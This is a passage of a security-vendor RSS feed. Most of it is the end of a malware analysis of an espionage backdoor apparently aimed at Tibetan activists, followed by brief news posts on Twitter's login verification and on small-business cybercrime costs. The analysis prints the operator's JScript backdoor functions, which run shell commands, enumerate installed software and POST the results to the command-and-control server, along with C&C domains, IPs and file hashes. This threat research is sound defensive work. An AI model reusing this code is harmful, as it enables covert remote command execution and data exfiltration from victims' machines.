1<strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>Open<strong>(</strong>&#8220;POST&#8221;<strong>,</strong> $<strong>.</strong>sXmlUrl <strong>+</strong> &#8220;?&#8221; <strong>+</strong> $<strong>.</strong>sURLParam <strong>+</strong> &#8220;&amp;command=offlineresult&amp;commandid=&#8221; <strong>+</strong> commands<strong>[</strong>i<strong>].</strong>id<strong>,</strong> <strong>!</strong>1<strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>setRequestHeader<strong>(</strong>&#8220;CONTENT-TYPE&#8221;<strong>,</strong> &#8220;file&#8221;<strong>);</strong></p>
<p>$<strong>.</strong>oHttp<strong>.</strong>Send<strong>(</strong>getDataString<strong>(</strong>&#8216;[' <strong>+</strong> s <strong>+</strong> ']&#8216;<strong>));</strong></p>
<p><strong>return</strong> &#8220;&#8221;</p>
<p><strong>};</strong></p>
<p>EnumDisk<strong>();</strong></p>
<p>&nbsp;</td>
</tr>
<tr>
<td valign="top" width="85">21:41:37</td>
<td valign="top" width="656">ExpandDirectory<strong>(</strong>&#8216;C:\\&#8217;<strong>);</strong></td>
</tr>
<tr>
<td valign="top" width="85">21:41:37</td>
<td valign="top" width="656"><strong>function</strong> ExecuteCommand<strong>(</strong>a<strong>)</strong> <strong>{</strong><strong>var</strong> b <strong>=</strong> &#8216;asdfasfasfasdfsdfasdfsadf&#8217;<strong>;</strong><strong>var</strong> c <strong>=</strong> $<strong>.</strong>oShell<strong>.</strong>exec<strong>(</strong>&#8216;%ComSpec%&#8217;<strong>);</strong>c<strong>.</strong>StdIn<strong>.</strong>writeline<strong>(</strong>a<strong>);</strong>c<strong>.</strong>StdIn<strong>.</strong>writeline<strong>(</strong>b<strong>);</strong><strong>var</strong> d <strong>=</strong> &#8221;<strong>;</strong><strong>while</strong> <strong>(!</strong>c<strong>.</strong>StdOut<strong>.</strong>AtEndOfStream<strong>)</strong> <strong>{</strong><strong>var</strong> e <strong>=</strong> c<strong>.</strong>StdOut<strong>.</strong>ReadLine<strong>();</strong><strong>if</strong> <strong>(</strong>e<strong>.</strong>match<strong>(</strong>b<strong>))</strong> <strong>{</strong>d <strong>+=</strong> e<strong>.</strong>replace<strong>(</strong>b<strong>,</strong> &#8221;<strong>)</strong> <strong>+</strong> &#8216;\r\n&#8217;<strong>;</strong><strong>break</strong><strong>}</strong>d <strong>+=</strong> e <strong>+</strong>&#8216;\r\n&#8217;<strong>}</strong>$<strong>.</strong>oHttp<strong>.</strong>Open<strong>(</strong>&#8216;POST&#8217;<strong>,</strong> $<strong>.</strong>sXmlUrl <strong>+</strong> &#8216;?&#8217; <strong>+</strong> $<strong>.</strong>sURLParam <strong>+</strong> &#8216;&amp;command=offlineresult&amp;commandid=&#8217; <strong>+</strong> commands<strong>[</strong>i<strong>].</strong>id<strong>,</strong> <strong>false</strong><strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>setRequestHeader<strong>(</strong>&#8216;CONTENT-TYPE&#8217;<strong>,</strong> &#8216;file&#8217;<strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>Send<strong>(</strong>getDataString<strong>(</strong>d<strong>));</strong><strong>return</strong>&#8221;<strong>};</strong>ExecuteCommand<strong>(</strong>&#8216;system32info&#8217;<strong>);</strong></td>
</tr>
<tr>
<td valign="top" width="85">21:42:37</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:42:37</td>
<td valign="top" width="656">ExecuteCommand(&#8216;systeminfo&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:45:07</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:45:07</td>
<td valign="top" width="656">ExecuteCommand(&#8216;net start&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:45:36</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Desktop\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:46:37</td>
<td valign="top" width="656">ExecuteCommand(&#8216;tasklist&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:46:37</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\user\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:47:37</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Recent\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:48:48</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\.idlerc\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:48:48</td>
<td valign="top" width="656">ExecuteCommand(&#8216;net view&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:51:36</td>
<td valign="top" width="656">ExecuteCommand(&#8216;net use&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">21:52:38</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\My Documents\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:07:37</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Recent\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:10:38</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\user\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:13:38</td>
<td valign="top" width="656">EnumDisk();</td>
</tr>
<tr>
<td valign="top" width="85">22:13:38</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:14:39</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\user\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:14:39</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Recent\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:14:39</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Recent\\&#8217;);</td>
</tr>
</tbody>
</table>
<p>Basically, the operator was browsing our filesystem and looking at detailed settings and operations on the infected machine, such as network settings, attached drives and running programs.</p>
<p>The day after this visit, the operator sent another set of commands to gather some system information specific to our infected system.</p>
<table width="741" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="85">22:34:50</td>
<td valign="top" width="656"><strong>function</strong> EnumInstaller<strong>()</strong> <strong>{</strong><strong>var</strong> s <strong>=</strong> &#8221;<strong>;</strong><strong>var</strong> a <strong>=</strong> 0&#215;80000002<strong>;</strong><strong>var</strong> b <strong>=</strong> &#8220;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\&#8221;<strong>;</strong><strong>var</strong> c <strong>=</strong> GetObject<strong>(</strong>&#8220;winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv&#8221;<strong>);</strong><strong>var</strong> d <strong>=</strong> c<strong>.</strong>Methods_<strong>.</strong>Item<strong>(</strong>&#8220;EnumKey&#8221;<strong>);</strong><strong>var</strong> e <strong>=</strong> d<strong>.</strong>InParameters<strong>.</strong>SpawnInstance_<strong>();</strong>e<strong>.</strong>hDefKey <strong>=</strong> 0&#215;80000002<strong>;</strong>e<strong>.</strong>sSubKeyName <strong>=</strong> b<strong>;</strong><strong>var</strong> f <strong>=</strong> c<strong>.</strong>ExecMethod_<strong>(</strong>d<strong>.</strong>Name<strong>,</strong> e<strong>);</strong><strong>var</strong> g <strong>=</strong> <strong>new</strong> Enumerator<strong>(</strong>f<strong>.</strong>sNames<strong>.</strong>toArray<strong>());</strong><strong>while</strong> <strong>(!</strong>g<strong>.</strong>atEnd<strong>())</strong> <strong>{</strong><strong>var</strong> h <strong>=</strong> g<strong>.</strong>item<strong>();</strong>d <strong>=</strong> c<strong>.</strong>Methods_<strong>.</strong>Item<strong>(</strong>&#8220;GetStringValue&#8221;<strong>);</strong>e <strong>=</strong> d<strong>.</strong>InParameters<strong>.</strong>SpawnInstance_<strong>();</strong>e<strong>.</strong>hDefKey <strong>=</strong> 0&#215;80000002<strong>;</strong>e<strong>.</strong>sSubKeyName <strong>=</strong> b <strong>+</strong> h<strong>;</strong>e<strong>.</strong>sValueName <strong>=</strong> &#8220;DisplayName&#8221;<strong>;</strong>f <strong>=</strong> c<strong>.</strong>ExecMethod_<strong>(</strong>d<strong>.</strong>Name<strong>,</strong> e<strong>);</strong><strong>var</strong> j <strong>=</strong> f<strong>.</strong>sValue<strong>;</strong>e<strong>.</strong>sValueName <strong>=</strong> &#8220;UninstallString&#8221;<strong>;</strong>f <strong>=</strong> c<strong>.</strong>ExecMethod_<strong>(</strong>d<strong>.</strong>Name<strong>,</strong> e<strong>);</strong><strong>var</strong> k <strong>=</strong> f<strong>.</strong>sValue<strong>;</strong>e<strong>.</strong>sValueName <strong>=</strong> &#8220;InstallDate&#8221;<strong>;</strong>f <strong>=</strong> c<strong>.</strong>ExecMethod_<strong>(</strong>d<strong>.</strong>Name<strong>,</strong> e<strong>);</strong><strong>var</strong> l <strong>=</strong> f<strong>.</strong>sValue<strong>;</strong>e<strong>.</strong>sValueName <strong>=</strong> &#8220;InstallLocation&#8221;<strong>;</strong>f <strong>=</strong> c<strong>.</strong>ExecMethod_<strong>(</strong>d<strong>.</strong>Name<strong>,</strong> e<strong>);</strong><strong>var</strong> m <strong>=</strong> f<strong>.</strong>sValue<strong>;</strong>s <strong>+=</strong> &#8216;{&#8216; <strong>+</strong> &#8216;&#8221;InstallerName&#8221;:&#8221;&#8216; <strong>+</strong> h <strong>+</strong> &#8216;&#8221;,&#8221;DisplayName&#8221;:&#8221;&#8216; <strong>+</strong> j <strong>+</strong> &#8216;&#8221;,&#8221;UninstallString&#8221;:&#8221;&#8216; <strong>+</strong> escape<strong>(</strong>f<strong>.</strong>sValue<strong>)</strong> <strong>+</strong> &#8216;&#8221;,&#8221;InstallDate&#8221;:&#8221;&#8216; <strong>+</strong> l <strong>+</strong> &#8216;&#8221;,&#8221;InstallLocation&#8221;:&#8221;&#8216; <strong>+</strong> escape<strong>(</strong>m<strong>)</strong> <strong>+</strong> &#8216;&#8221;},&#8217;<strong>;</strong></p>
<p>g<strong>.</strong>moveNext<strong>()</strong></p>
<p><strong>}</strong></p>
<p><strong>if</strong> <strong>(</strong>s<strong>.</strong>length <strong>&gt;</strong> 0<strong>)</strong> s <strong>=</strong> s<strong>.</strong>substr<strong>(</strong>0<strong>,</strong> s<strong>.</strong>length <strong>-</strong> 1<strong>);</strong></p>
<p>$<strong>.</strong>oHttp<strong>.</strong>Open<strong>(</strong>&#8216;POST&#8217;<strong>,</strong> $<strong>.</strong>sXmlUrl <strong>+</strong> &#8216;?&#8217; <strong>+</strong> $<strong>.</strong>sURLParam <strong>+</strong> &#8216;&amp;command=offlineresult&amp;commandid=&#8217; <strong>+</strong> commands<strong>[</strong>i<strong>].</strong>id<strong>,</strong> <strong>false</strong><strong>);</strong></p>
<p>$<strong>.</strong>oHttp<strong>.</strong>setRequestHeader<strong>(</strong>&#8216;CONTENT-TYPE&#8217;<strong>,</strong> &#8216;file&#8217;<strong>);</strong></p>
<p>$<strong>.</strong>oHttp<strong>.</strong>Send<strong>(</strong>getDataString<strong>(</strong>&#8216;[' <strong>+</strong> s <strong>+</strong> ']&#8216;<strong>));</strong></p>
<p><strong>return</strong> &#8221;</p>
<p><strong>};</strong></p>
<p>EnumInstaller<strong>();</strong></td>
</tr>
<tr>
<td valign="top" width="85">22:34:50</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\DRM\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:35:35</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Python27\\Tools\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:36:35</td>
<td valign="top" width="656">EnumDisk();</td>
</tr>
<tr>
<td valign="top" width="85">22:37:39</td>
<td valign="top" width="656"><strong>function</strong> EnumProduct<strong>()</strong> <strong>{</strong><strong>var</strong> a <strong>=</strong> GetObject<strong>(</strong>&#8220;winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2&#8243;<strong>);</strong><strong>var</strong> b <strong>=</strong> <strong>new</strong> Enumerator<strong>(</strong>a<strong>.</strong>ExecQuery<strong>(</strong>&#8220;Select * from Win32_Product&#8221;<strong>));</strong><strong>var</strong> s <strong>=</strong> &#8221;<strong>;</strong><strong>while</strong> <strong>(!</strong>b<strong>.</strong>atEnd<strong>())</strong> <strong>{</strong><strong>var</strong> c <strong>=</strong> b<strong>.</strong>item<strong>();</strong>s <strong>+=</strong> &#8216;{&#8216; <strong>+</strong> &#8216;&#8221;ProductName&#8221;:&#8221;&#8216; <strong>+</strong> c<strong>.</strong>Name <strong>+</strong> &#8216;&#8221;,&#8221;InstallLocation&#8221;:&#8221;&#8216; <strong>+</strong> escape<strong>(</strong>c<strong>.</strong>InstallLocation<strong>)</strong> <strong>+</strong> &#8216;&#8221;,&#8221;PackageCache&#8221;:&#8221;&#8216; <strong>+</strong> escape<strong>(</strong>c<strong>.</strong>PackageCache<strong>)</strong> <strong>+</strong> &#8216;&#8221;},&#8217;<strong>;</strong>b<strong>.</strong>moveNext<strong>()</strong><strong>}</strong><strong>if</strong> <strong>(</strong>s<strong>.</strong>length <strong>&gt;</strong> 0<strong>)</strong> s <strong>=</strong> s<strong>.</strong>substr<strong>(</strong>0<strong>,</strong> s<strong>.</strong>length <strong>-</strong> 1<strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>Open<strong>(</strong>&#8216;POST&#8217;<strong>,</strong> $<strong>.</strong>sXmlUrl <strong>+</strong> &#8216;?&#8217; <strong>+</strong> $<strong>.</strong>sURLParam <strong>+</strong> &#8216;&amp;command=offlineresult&amp;commandid=&#8217; <strong>+</strong> commands<strong>[</strong>i<strong>].</strong>id<strong>,</strong> <strong>false</strong><strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>setRequestHeader<strong>(</strong>&#8216;CONTENT-TYPE&#8217;<strong>,</strong> &#8216;file&#8217;<strong>);</strong>$<strong>.</strong>oHttp<strong>.</strong>Send<strong>(</strong>getDataString<strong>(</strong>&#8216;[' <strong>+</strong> s <strong>+</strong> ']&#8216;<strong>));</strong><strong>return</strong>&#8221;<strong>};</strong>EnumProduct<strong>();</strong></td>
</tr>
<tr>
<td valign="top" width="85">22:37:39</td>
<td valign="top" width="656">EnumProcess();</td>
</tr>
<tr>
<td valign="top" width="85">22:39:36</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\Default User\\Start Menu\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:41:36</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\Default User\\Start Menu\\Programs\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:41:36</td>
<td valign="top" width="656">EnumDisk();</td>
</tr>
<tr>
<td valign="top" width="85">22:41:36</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\Start Menu\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:42:35</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\All Users\\My Documents\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:47:35</td>
<td valign="top" width="656">ExecuteCommand(&#8216;dir c:\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:48:35</td>
<td valign="top" width="656">ExecuteCommand(&#8216;dir /a/s c:\\program files\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:48:35</td>
<td valign="top" width="656">ExecuteCommand(&#8216;dir c:\\dir c:&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:53:38</td>
<td valign="top" width="656">ExecuteCommand(&#8216;dir /a/s c:\\progra~1&#8242;);</td>
</tr>
<tr>
<td valign="top" width="85">22:56:36</td>
<td valign="top" width="656">ExpandDirectory(&#8216;C:\\Documents and Settings\\Default User\\Local Settings\\&#8217;);</td>
</tr>
<tr>
<td valign="top" width="85">22:57:37</td>
<td valign="top" width="656">EnumDisk();</td>
</tr>
<tr>
<td valign="top" width="85">23:03:35</td>
<td valign="top" width="656">ExecuteCommand(&#8216;systeminfo&#8217;);</td>
</tr>
</tbody>
</table>
<p>In this session, the commands sent by the operator had roughly the same purpose, but were done differently, strongly suggesting a different operator to the previous day. We also note some sort of typo or bug in this line:</p>
<p><em>ExecuteCommand(&#8216;dir c:\\dir c:&#8217;);</em></p>
<p>The Stage Two URLs remained unchanged until 2013-04-22. The three blog entries in the hardcoded Stage One URLs were all changed on that same day within a 30-minute window to direct infected systems to a new Stage Two domain: netfortibt.info. Details of this new domain can be found in the next section.</p>
<h2>Malware history</h2>
<p>Now that we know how the malware gets installed on a target system and what capabilities it offers to the attacker, let&#8217;s establish some context around this threat.</p>
<p style="text-align: left;">First, we were able to find a version of the master script dating from July 2010, uploaded to an <a href="http://jsunpack.jeek.org/dec/go?report=c65da5a1d196db7364a59c6c6707263d4d2062e1" target="_blank">online Javascript analyzer</a>. The screenshot below shows some differences in the first few lines of the script. We can clearly see the version number evolution, passing from 0.5.2 to a 1.2.0 release.</p>
<p><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-7.png"><img class="aligncenter size-full wp-image-21582" title="syndicasec012 (7)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-7.png" alt="" width="665" height="270" /></a></p>
<p style="text-align: left;">When further analyzing the differences between the two versions, we can see that the encryption present in the &lt;title&gt; tag of the Stage One RSS feed did not change. On the other hand, the commands sent from the C&amp;C went from cleartext to being encrypted in version 1.2.0 of the script (see the <em>circleDecode()</em> function):</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-9.png"><img class="aligncenter  wp-image-21584" title="syndicasec012 (9)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-9.png" alt="" width="608" height="271" /></a></p>
<p>Finally, we can see that the old version performs the WMI calls needed to register itself in the <em>root\subscription</em> namespace, while version 1.2.0 depends on its dropper to perform this step.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-11.png"><img class="aligncenter  wp-image-21586" title="syndicasec012 (11)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-11.png" alt="" width="606" height="179" /></a></p>
<p style="text-align: center;">The old script contains only one hardcoded Stage One URL, which is still active at the time of writing. <a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-12.png"><img class="aligncenter  wp-image-21587" title="syndicasec012 (12)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-12.png" alt="" width="644" height="441" /></a></p>
<p>We can see that only twenty-five (25) users have visited this page since it was posted in September 2010. The decrypted <em>&lt;title&gt;</em> tag reveals an inactive Stage Two URL (<em>http://&lt;redacted&gt;.hostaim.com/summer/ieupdate.php</em>).</p>
<p>Another piece of information was also found using the same Javascript analyzer. We can see a dialogue between an infected host and a C&amp;C dating from 2012. The query string reveals that the infected host is running version 1.01 of the master script.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-14.png"><img class="aligncenter  wp-image-21589" title="syndicasec012 (14)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-14.png" alt="" width="742" height="158" /></a></p>
<p>This clearly shows that this threat has been maintained and used over several years.</p>
<p>Let&#8217;s look now at the domains involved in this operation. The Stage One 1 URLs are all pointing to free blog-sites and are rather uninteresting. The Stage Two URLs are more relevant and deserve closer examination.</p>
<p>In the course of our monitoring, we saw two active Stage Two URLs:</p>
<table width="709" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="114">Domain</td>
<td valign="top" width="111">Registrar</td>
<td valign="top" width="97">Created On</td>
<td valign="top" width="387">IP</td>
</tr>
<tr>
<td valign="top" width="114">tbtworld.info</td>
<td valign="top" width="111">GoDaddyRegistrant Name: boorn zeroseven</td>
<td valign="top" width="97">2012-09-18</td>
<td valign="top" width="387">2012-11-21: 209.141.36.23 (BuyVM, Canada)2013-03-25 -  2013-04-19: 216.83.45.18  (Ethr.Net LLC, USA)&gt; 2013-04-19: 195.43.45.18 (Routo Telecom, UK)</td>
</tr>
<tr>
<td valign="top" width="114">nedfortibt.info</td>
<td valign="top" width="111">GoDaddyRegistrant Name: Tsering Duoten</td>
<td valign="top" width="97">2013-04-18</td>
<td valign="top" width="387">216.83.45.18 (BuyVM, Canada)</td>
</tr>
<tr>
<td colspan="4" valign="top" width="709"><em>Related domain (found having an A record identical to tbtworld.info):</em></td>
</tr>
<tr>
<td valign="top" width="114">
<p align="center">tbtsociety.info</p>
</td>
<td valign="top" width="111">GoDaddyRegistrant Name: boorn zeroseven</td>
<td valign="top" width="97">2012-09-18</td>
<td valign="top" width="387">2012-11-21: 209.141.36.23 (BuyVM, Canada)2013-04-30: 215.43.40.16 (DoD, USA)</td>
</tr>
</tbody>
</table>
<p>Unlike the DoD IP, the other three IPs reveal many hundreds of domain names to which A records are pointing. Most of these domains were registered less than a year ago and point to amateur-looking websites for small businesses, all in Asian languages.</p>
<p>The three domains shown in the previous table also reveal a clear reference to Tibet.  The &#8216;ned&#8217; in &#8216;nedfortibt.info&#8217; relates to the National Endowment for Democracy organization, described on their <a href="http://www.ned.org/">website</a> as: &#8220;<em>a private, nonprofit foundation dedicated to the growth and strengthening of democratic institutions around the world. Each year, with funding from the US Congress, NED supports more than 1,000 projects of non-governmental groups abroad who are working for democratic goals in more than 90 countries.&#8221;</em></p>
<p>The <a href="http://www.ned.org/where-we-work/asia/china-tibet" target="_blank">NED is openly supportive</a> of Tibetans in their uneasy relations with China.</p>
<h2>Conclusion</h2>
<p>This analysis showed an implementation of rather unusual techniques to build a stealthy and flexible backdoor. The lack of built-in commands prevents us from discovering the real end-goal of this operation. However, we can affirm that the various characteristics observed around this threat are similar to other espionage campaigns against Tibetan activists that we have observed.</p>
<p>MD5 hashes of the files analyzed:</p>
<pre>stage1_dropper.exe      7ee6a8cc75b5e8adf64af899fabd88a4
gupdate.exe             b60ce366e142200e3191a1dffdf7283c
CryptBase.dll           c469b1010f348bd4a5bd5471ff388464</pre>
<p><strong>Alexis Dorais-Joncas</strong><br />
<strong>Security Intelligence Team Lead</strong></p>
<p>&nbsp;</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/">Syndicasec in the Sin Bin: targeted espionage malware in action</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/uVS7RkNLzgc" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/</feedburner:origLink></item>
		<item>
		<title>Twitter beefs up security after wave of attacks on media sites</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/dkbVeaHnixk/</link>
		<comments>http://www.welivesecurity.com/2013/05/23/twitter-adds-two-factor-security-after-wave-of-attacks-on-media-sites/#comments</comments>
		<pubDate>Thu, 23 May 2013 07:18:54 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/23/twitter-adds-two-factor-security-after-wave-of-attacks-on-media-sites/</guid>
		<description><![CDATA[<p>Twitter has introduced a new two-factor security system - an optional "extra layer" of security which should help to prevent unauthorised access to accounts. </p><p>The post <a href="http://www.welivesecurity.com/2013/05/23/twitter-adds-two-factor-security-after-wave-of-attacks-on-media-sites/">Twitter beefs up security after wave of attacks on media sites</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>Twitter has introduced a new two-factor security system &#8211; an optional &#8220;extra layer&#8221; of security which should help to prevent unauthorised access to accounts. The move comes in the wake of a series of high-profile attacks on Twitter accounts owned by media organisations including Associated Press and the Financial Times.</p>
<p>The new, SMS-based system was announced via a post on the official <a title="https://blog.twitter.com/2013/getting-started-login-verification" href="https://blog.twitter.com/2013/getting-started-login-verification" target="_blank">Twitter blog</a>.</p>
<p>&#8220;Today we’re introducing a new security feature to better protect your Twitter account: login verification,&#8221; said Jim O&#8217;Leary of the site&#8217;s Product Security Team in his post. &#8220;This is a form of two-factor authentication. When you sign in to twitter.com, there’s a second check to make sure it’s really you. You’ll be asked to register a verified phone number and a confirmed email address. &#8221;</p>
<p>&#8220;After you enroll in login verification, you’ll be asked to enter a six-digit code that we send to your phone via SMS each time you sign in to twitter.com,&#8221; O&#8217;Leary writes. The system has to be activated via Twitter&#8217;s &#8220;Account Settings&#8221; page.</p>
<p>ESET Senior Research Fellow David Harley says, &#8220;I&#8217;m not a fan of static passwording &#8211; in fact, I was reminded of something I&#8217;ve said before in <a title="http://www.welivesecurity.com/media_files/white-papers/EsetWP-KeepingSecrets20090814.pdf" href="http://www.welivesecurity.com/media_files/white-papers/EsetWP-KeepingSecrets20090814.pdf" target="_blank">a paper</a>: &#8216;The sad fact is, static passwords are a superficially cheap but conceptually unsatisfactory solution to a very difficult problem, especially if they aren’t protected by supplementary techniques.&#8217;&#8221;</p>
<p>&#8220;So the gradual drift towards two factor by social media sites is encouraging, though I doubt that too many people will take advantage of such facilities while they&#8217;re just optional. In fact, Twitter did take a more forceful approach a few years ago by preventing people from using any passwords from its own blacklist of the most stereotyped passwords: I referred to it in a paper on <a title="http://smallbluegreenblog.wordpress.com/2012/05/21/pin-holes-passcode-selection-strategies/ " href="http://smallbluegreenblog.wordpress.com/2012/05/21/pin-holes-passcode-selection-strategies/ " target="_blank">PINs and passwords</a>.&#8221;</p>
<p id="docs-internal-guid-61a043bd-d19a-db2c-5a30-994dbc6f86ed" dir="ltr">Pressure on Twitter to improve security has grown in recent weeks, after a spate of incidents including an attack on the main Associated Press Twitter account where hackers sent out bogus “news” about an attack on President Obama. The AP Tweet caused panic on stock markets, wiping 143 points off the Dow Jones in minutes. Twitter previously provided media companies with guidelines on how to resist such hacks, including steps such as designating specific PCs to access company Twitter accounts.</p>
<p>&#8220;This release is built on top of Twitter via SMS, so we need to be able to send a text to your phone before you can enroll in login verification (which may not work with some cell phone providers). However, much of the server-side engineering work required to ship this feature has cleared the way for us to deliver more account security enhancements in the future. Stay tuned,&#8221; said O&#8217;Leary.</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/23/twitter-adds-two-factor-security-after-wave-of-attacks-on-media-sites/">Twitter beefs up security after wave of attacks on media sites</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/dkbVeaHnixk" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/23/twitter-adds-two-factor-security-after-wave-of-attacks-on-media-sites/</feedburner:origLink></item>
		<item>
		<title>Small business cybercrime costs $6,000 a year, says British group</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/HwXeJl9Kps8/</link>
		<comments>http://www.welivesecurity.com/2013/05/22/small-business-cybercrime/#comments</comments>
		<pubDate>Wed, 22 May 2013 13:04:09 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[antivirus software]]></category>
		<category><![CDATA[security breach]]></category>
		<category><![CDATA[small business]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/22/small-business-cybercrime/</guid>
		<description><![CDATA[<p>Cybercrime is costing small businesses an average of £4,000 ($6000) a year, according to the British Federation of Small Businesses (FSB). A report by the group found that 41 per cent of the FSB’s membership have been a victim of cybercrime in the past year. The most common threat is virus infections, with 20% of small businesses falling victim - while 8% have been victims of hacking and 5% have suffered security breaches.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/22/small-business-cybercrime/">Small business cybercrime costs $6,000 a year, says British group</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>Small business cybercrime costs an average of £4,000 ($6000) a year, according to the British Federation of Small Businesses (FSB).</p>
<p>A report by the group found that 41 per cent of the FSB’s membership have been a victim of cybercrime in the past year. The most common threat is virus infections, with 20% of small businesses falling victim &#8211; while 8% have been victims of hacking and 5% have suffered security breaches.</p>
<p>In total, cybercrime costs small business £785 million ($1.1 billion) a year. But the Federation of Small Businesses says the cost to the wider economy could be even greater, as small businesses avoid using the internet for fear of cyber attacks. Previous FSB research shows that only a third of businesses with their own website use it for sales.</p>
<p>Small businesses are responding to the threat &#8211; 36% of respondents regularly install security patches, and six out of ten claim to regularly update antivirus software. Only 20% say they have taken no steps to protect themselves against cybercrime.</p>
<p>Mike Cherry, the National Policy Chairman, Federation of Small Businesses, said: &#8220;Small business cybercrime poses a real and growing threat and it isn&#8217;t something that should be ignored. Many businesses will be taking steps to protect themselves but the cost of crime can act as a barrier to growth.</p>
<p>“For example, many businesses will not embrace new technology as they fear the repercussions and do not believe they will get adequate protection from crime.”</p>
